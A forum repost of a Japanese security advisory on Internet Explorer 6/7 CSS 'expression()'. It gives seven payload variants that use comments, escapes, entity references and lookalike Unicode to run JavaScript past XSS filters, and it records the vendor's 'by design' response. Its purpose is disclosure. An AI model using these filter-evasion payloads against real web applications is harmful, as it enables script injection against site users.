随风而飞 2007-3-17 12:47
真正的XSS 0DAY
原文:
概要:
Internet Explorer(以下IE) では "expression(式)" という記述を含めること
で、スタイルシート内に JavaScript を記述することができます。ところが、
IE では、この expression という語の検出範囲が広いため、Web アプリケーシ
ョン開発者の想定を超えた範囲で JavaScriptが実行され、XSS の原因となるこ
とがあります。そのため、Webアプリケーション開発者は注意深くスタイルシー
トを検査する必要があります。
確認したバージョン:
Internet Explorer 6
Internet Explorer 7 RC1
詳細:
IE では、以下のようなスタイルを記述することで、JavaScript を動作させる
ことが可能です。
1) <style>ブロック内での定義
<style>input { left:expression( alert('xss') ) } </style>
2) インラインでのスタイル定義
<div style="{ left:expression( alert('xss') ) }">
3) コメントの挿入
<div style="{ left:exp/* */ression( alert('xss') ) }">
4) バックスラッシュでのコードポイント指定
<div style="{ left:/0065/0078pression( alert('xss') ) }">
5) 実体参照
インラインでのスタイル定義では、実体参照が利用可能です。
<div style="{ left:expression( alert('xss') ) }">
6) 全角文字
<div style="{ left:expression( alert('xss') ) }">
7) 特定のUnicode文字
<div style="{ left:expRessioN( alert('xss') ) }">
R は U+0280、N は U+0274 または U+207F が利用可能です。
上記 1) ? 7) は相互に組み合わせて表記することも可能です。
また、6) および 7) は、IE7 RC1 では動作しません。
想定される脅威:
攻撃者自身がスタイルシートの指定が可能な、Web メールや blog において、
上記のようなスタイルを挿入することにより、"expression" を検出しようとす
る XSS 防御のフィルターをくぐり抜けることが可能となります。
経緯:
本件は、直接的な IE の脆弱性ではありませんが、XSSを誘因するセキュリティ
上の問題点と判断し、情報セキュリティ早期警戒パートナーシップガイドライ
ンに基づき IPA を通じて開発者であるマイクロソフトに連絡を取ったところ、
以下のコメントを得ました。
--
弊社開発部に確認した結果、本事象は現時点での Internet Explorer のデザ
イン上の動作であり、脆弱性にはあたらないと判断されました。
そのため、本動作により Web サイト上で問題が発生する場合には、サイト側
でのフィルタリングを適切に行っていただく必要がございます。
--
製品開発者が脆弱性ではないと明言していること、実際にこのデザインを原因
とする XSS が存在するWebアプリケーションを複数確認したこと、「適切なフ
ィルタリング」のためにはWebアプリケーション開発者への広い通知が必要なこ
とから、本問題を公開するべきだと判断しました。